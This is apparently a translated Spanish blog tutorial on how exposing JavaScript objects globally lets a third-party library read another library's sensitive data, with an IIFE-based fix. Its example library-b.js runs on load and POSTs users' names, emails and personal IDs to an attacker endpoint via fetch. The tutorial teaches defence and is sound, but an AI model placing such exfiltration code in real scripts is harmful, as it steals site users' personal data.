Reducción de las brechas de seguridad en JavaScript al reducir la exposición global

Comencemos este artículo con un escenario simple. Digamos que hay un sitio web ejemplo.com, y este sitio web usa dos bibliotecas A y B. La biblioteca A está trabajando con algunos datos confidenciales, y es extremadamente importante que nadie tenga acceso no autorizado a ella. Ahora supongamos que example.com es muy popular y Eve analizó el sitio y vio que el sitio está usando las bibliotecas A y B. Analizó la biblioteca A y encontró la brecha de seguridad, que fue causada por la exposición global de los datos (vamos a discutir este tema en detalle a continuación). Ahora Eve ha pensado en cómo podría obtener acceso a la biblioteca A para poder extraer sus datos y elaboró un plan que apuntaba a obtener acceso a la biblioteca B (supongamos que para Eve es fácil acceder al código fuente de la biblioteca B y cambiar it) y a través de la biblioteca B acceder al contenido de la biblioteca A.
Ahora hablemos de cómo Eva podría hacerlo. El código fuente de example.com se ve así:
<!DOCTYPE html>
<html>
<head>
<title>example.com</title>
</head>
<body>
<script src="./library-a.js"></script>
<script src="./example-com.js"></script>
<script src="./library-b.js"></script>
</body>
</html>
- Biblioteca A
- script de ejemplo.com
- biblioteca b
// library-a.js
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
window.libraryA = new LibraryA()
// example-com.js
window.libraryA.init()
// library-b.js
class LibraryB {
constructor() {
this.sendDataToEve()
}
sendDataToEve() {
// Eve's endpoint
fetch('https://0123456789.com', {
method: 'POST',
body: JSON.stringify({ users: window.libraryA.users })
})
}
}
window.libraryB = new LibraryB()
Para corregir esta vulnerabilidad, podríamos usar la función IIFE (Expresión de función invocada inmediatamente) y exponer solo el método API público init
de la siguiente manera:
// library-a.js
window.libraryA = (() => {
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
const _libraryA = new LibraryA()
return {
init: _libraryA.init.bind(_libraryA)
}
})()
Gracias por leer este artículo, espero que lo hayas disfrutado. Puedes seguirme en Twitter .